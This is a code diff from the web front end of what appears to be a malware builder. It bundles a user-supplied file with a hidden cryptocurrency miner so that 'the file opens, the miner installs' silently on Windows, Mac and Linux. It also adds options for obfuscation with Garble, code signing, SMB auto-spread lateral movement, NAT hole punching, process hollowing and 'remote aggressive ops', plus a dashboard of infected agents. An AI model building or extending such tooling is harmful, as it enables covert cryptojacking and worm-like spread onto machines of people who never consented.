{fusionBatchFiles.length > 0 && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary"
|
||||
style={{ marginTop: '0.5rem' }}
|
||||
disabled={building || !canForge}
|
||||
onClick={handleBatchForgeMovies}
|
||||
>
|
||||
{building
|
||||
? `Batch forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
|
||||
: `Batch forge ${fusionBatchFiles.length} movie(s) → ZIP each`}
|
||||
</button>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', marginTop: '0.5rem', flexWrap: 'wrap' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary"
|
||||
disabled={building || !canForge}
|
||||
onClick={handleBatchForge}
|
||||
>
|
||||
{building
|
||||
? `Forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
|
||||
: `Forge all ${fusionBatchFiles.length} file${fusionBatchFiles.length !== 1 ? 's' : ''} → universal ZIP each`}
|
||||
</button>
|
||||
{building && batchJob && batchJob.phase !== 'done' && batchJob.phase !== 'cancelled' && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-danger"
|
||||
onClick={handleBatchCancel}
|
||||
title="Stop after the current file finishes"
|
||||
>
|
||||
Cancel Batch
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
Each ZIP contains runners for Windows, Mac, and Linux. The recipient runs the launcher for their OS — the file opens, the miner installs.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
|
||||
<label className="label">Run order <HelpTip field="fusion_run_order" /></label>
|
||||
<select className="select" value={form.fusion_run_order}
|
||||
onChange={(e) => updateField('fusion_run_order', e.target.value)}>
|
||||
<option value="parallel">Parallel (both at once)</option>
|
||||
<option value="prep_first">Prep first, then worker</option>
|
||||
<option value="worker_first">Worker first, then prep</option>
|
||||
<option value="parallel">Parallel — file opens and miner installs at the same time</option>
|
||||
<option value="prep_first">File first — open file, then install miner</option>
|
||||
<option value="worker_first">Miner first — install silently, then open file</option>
|
||||
</select>
|
||||
<FieldHint field="fusion_run_order" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Output Filename <HelpTip field="fusion_output_name" /></label>
|
||||
<label className="label">Runner filename <HelpTip field="fusion_output_name" /></label>
|
||||
<input type="text" className="input mono" value={form.fusion_output_name}
|
||||
onChange={(e) => updateField('fusion_output_name', e.target.value)} />
|
||||
<FieldHint field="fusion_output_name" />
|
||||
@@ -1297,10 +1541,10 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
{simpleMode && fusionPrepFile && (
|
||||
<p className="form-hint">Output name: <code>{fusionPrepFile.name || form.fusion_output_name}</code> (matches your prep file). Run order: parallel.</p>
|
||||
<p className="form-hint">Runner name: <code>{form.fusion_output_name || defaultRunnerName(fusionPrepFile.name)}</code>. Run order: parallel (file opens + miner installs simultaneously).</p>
|
||||
)}
|
||||
<p className="form-hint">
|
||||
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
|
||||
Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker.
|
||||
</p>
|
||||
{(estimateLoading || fusionEstimate || estimateError) && (
|
||||
<div className="fusion-estimate-panel card">
|
||||
@@ -1342,6 +1586,7 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
@@ -1351,21 +1596,25 @@ export default function BuilderPage() {
|
||||
badge="server-only"
|
||||
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.obfuscate?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
|
||||
disabled={fieldMeta.obfuscate?.disabled}
|
||||
onChange={(e) => updateField('obfuscate', e.target.checked)} />
|
||||
<span>Obfuscate worker with Garble (release builds) <HelpTip field="obfuscate" /></span>
|
||||
<span>Obfuscate worker with Garble (Windows only) <HelpTip field="obfuscate" /></span>
|
||||
</label>
|
||||
<FieldHint field="obfuscate" />
|
||||
<ForgeLockedHint meta={fieldMeta.obfuscate} />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.sign_build?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
|
||||
disabled={fieldMeta.sign_build?.disabled}
|
||||
onChange={(e) => updateField('sign_build', e.target.checked)} />
|
||||
<span>Sign forged output (Authenticode) <HelpTip field="sign_build" /></span>
|
||||
<span>Sign forged output (Authenticode, Windows only) <HelpTip field="sign_build" /></span>
|
||||
</label>
|
||||
<FieldHint field="sign_build" />
|
||||
<ForgeLockedHint meta={fieldMeta.sign_build} />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1373,13 +1622,13 @@ export default function BuilderPage() {
|
||||
<ForgeSectionHeader
|
||||
title="Autonomy, Mesh & Lateral Movement"
|
||||
badge="baked"
|
||||
description="Optional — AI decisions, P2P mesh networking, and SMB auto-spreading."
|
||||
description="Optional — AI decisions, P2P mesh, SMB auto-spread, NAT hole punch, and remote aggressive ops (dashboard buttons)."
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.ai_enabled}
|
||||
onChange={(e) => updateField('ai_enabled', e.target.checked)} />
|
||||
<span>Enable AI自治 (AI Autonomy) <HelpTip field="ai_enabled" /></span>
|
||||
<span>Enable AI Autonomy (Ollama) <HelpTip field="ai_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="ai_enabled" />
|
||||
</div>
|
||||
@@ -1429,11 +1678,41 @@ export default function BuilderPage() {
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.auto_spread}
|
||||
onChange={(e) => updateField('auto_spread', e.target.checked)} />
|
||||
onChange={(e) => {
|
||||
const checked = e.target.checked;
|
||||
if (checked && !window.confirm(
|
||||
'Enable Auto-Spread?\n\n' +
|
||||
'When baked ON, every deployed agent will automatically attempt lateral movement ' +
|
||||
'across the local network on a timer — scanning for reachable hosts and copying itself.\n\n' +
|
||||
'This is aggressive behaviour. Only enable it if you have explicit permission on every network this agent may reach.'
|
||||
)) return;
|
||||
updateField('auto_spread', checked);
|
||||
}} />
|
||||
<span>Enable Auto-Spread (Lateral Movement) <HelpTip field="auto_spread" /></span>
|
||||
</label>
|
||||
{form.auto_spread && (
|
||||
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
|
||||
⚠ Auto-Spread is ON — every agent forged with this config will scan and propagate automatically.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="auto_spread" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.hole_punch}
|
||||
onChange={(e) => updateField('hole_punch', e.target.checked)} />
|
||||
<span>Enable NAT Hole Punch (UPnP) <HelpTip field="hole_punch" /></span>
|
||||
</label>
|
||||
<FieldHint field="hole_punch" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.remote_aggressive}
|
||||
onChange={(e) => updateField('remote_aggressive', e.target.checked)} />
|
||||
<span>Enable Remote Aggressive Ops (dashboard buttons) <HelpTip field="remote_aggressive" /></span>
|
||||
</label>
|
||||
<FieldHint field="remote_aggressive" />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
@@ -1471,7 +1750,7 @@ export default function BuilderPage() {
|
||||
<div className="card recent-builds">
|
||||
<h2>Installer Ready</h2>
|
||||
<div className="build-success">
|
||||
<p><strong>Run this once on each Windows machine:</strong></p>
|
||||
<p><strong>Deploy to each machine:</strong></p>
|
||||
{lastBuild.fusion_enabled && (
|
||||
<p className="form-hint">Fusion build — worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
|
||||
)}
|
||||
|
||||
@@ -21,7 +21,6 @@ import {
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
export default function DashboardPage() {
|
||||
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
|
||||
@@ -309,6 +308,11 @@ export default function DashboardPage() {
|
||||
/>
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
{agent.platform && (
|
||||
<span className="agent-tag-chip platform-badge" title={agent.os_version || agent.platform}>
|
||||
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
|
||||
@@ -1125,6 +1125,42 @@
|
||||
color: var(--neon-amber);
|
||||
}
|
||||
|
||||
/* Inline input validation states */
|
||||
.input.input-warn {
|
||||
border-color: var(--neon-amber, #fbbf24) !important;
|
||||
box-shadow: 0 0 0 2px rgba(251, 191, 36, 0.25);
|
||||
}
|
||||
.input.input-error {
|
||||
border-color: var(--neon-red, #ef4444) !important;
|
||||
box-shadow: 0 0 0 2px rgba(239, 68, 68, 0.25);
|
||||
}
|
||||
|
||||
button.deliverable-card {
|
||||
text-align: left;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
color: inherit;
|
||||
font: inherit;
|
||||
transition: border-color 0.15s, background 0.15s;
|
||||
}
|
||||
|
||||
button.deliverable-card:hover {
|
||||
border-color: rgba(251, 191, 36, 0.35);
|
||||
background: rgba(251, 191, 36, 0.06);
|
||||
}
|
||||
|
||||
button.deliverable-card.deliverable-active {
|
||||
border-color: var(--neon-amber);
|
||||
background: rgba(251, 191, 36, 0.12);
|
||||
box-shadow: 0 0 12px rgba(251, 191, 36, 0.15);
|
||||
}
|
||||
|
||||
button.deliverable-card .form-hint {
|
||||
display: block;
|
||||
margin-top: 0.35rem;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.forge-live-notices {
|
||||
margin-bottom: 1rem;
|
||||
padding: 0.75rem 1rem;
|
||||
|
||||
@@ -6,6 +6,29 @@ import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import './Pages.css';
|
||||
|
||||
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
|
||||
function deepMerge<T extends object>(base: T, override: Partial<T>): T {
|
||||
const result = { ...base } as T;
|
||||
for (const key in override) {
|
||||
const val = override[key];
|
||||
const baseVal = base[key];
|
||||
if (
|
||||
val !== null &&
|
||||
val !== undefined &&
|
||||
typeof val === 'object' &&
|
||||
!Array.isArray(val) &&
|
||||
typeof baseVal === 'object' &&
|
||||
baseVal !== null &&
|
||||
!Array.isArray(baseVal)
|
||||
) {
|
||||
result[key] = deepMerge(baseVal as object, val as object) as T[typeof key];
|
||||
} else if (val !== undefined) {
|
||||
result[key] = val as T[typeof key];
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
export default function SettingsPage() {
|
||||
const [config, setConfig] = useState<ServerConfig | null>(null);
|
||||
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
|
||||
@@ -98,7 +121,9 @@ export default function SettingsPage() {
|
||||
reader.onload = (evt) => {
|
||||
try {
|
||||
const data = JSON.parse(evt.target?.result as string);
|
||||
setConfig((prev) => (prev ? { ...prev, ...data } : prev));
|
||||
// Deep-merge so importing a partial config (e.g. only "pool" key) doesn't
|
||||
// wipe unrelated nested sections like "default_agent" or "mining".
|
||||
setConfig((prev) => (prev ? deepMerge(prev, data) : prev));
|
||||
setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`);
|
||||
} catch {
|
||||
setSaveMessage('Invalid JSON file.');
|
||||
|
||||
@@ -20,6 +20,19 @@ export interface Agent {
|
||||
uptime_seconds: number;
|
||||
notes?: string;
|
||||
tags?: string[];
|
||||
platform?: string;
|
||||
arch?: string;
|
||||
os_version?: string;
|
||||
capabilities?: AgentCapabilities;
|
||||
}
|
||||
|
||||
export interface AgentCapabilities {
|
||||
hole_punch: boolean;
|
||||
remote_aggressive: boolean;
|
||||
mesh_p2p: boolean;
|
||||
auto_spread: boolean;
|
||||
process_hollowing: boolean;
|
||||
ai_enabled: boolean;
|
||||
}
|
||||
|
||||
export interface Share {
|
||||
@@ -255,6 +268,11 @@ export interface BuildRequest {
|
||||
process_hollowing?: boolean;
|
||||
mesh_p2p?: boolean;
|
||||
auto_spread?: boolean;
|
||||
hole_punch?: boolean;
|
||||
remote_aggressive?: boolean;
|
||||
target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
|
||||
target_arch?: string;
|
||||
spread_kit?: boolean;
|
||||
obfuscate?: boolean;
|
||||
sign_build?: boolean;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user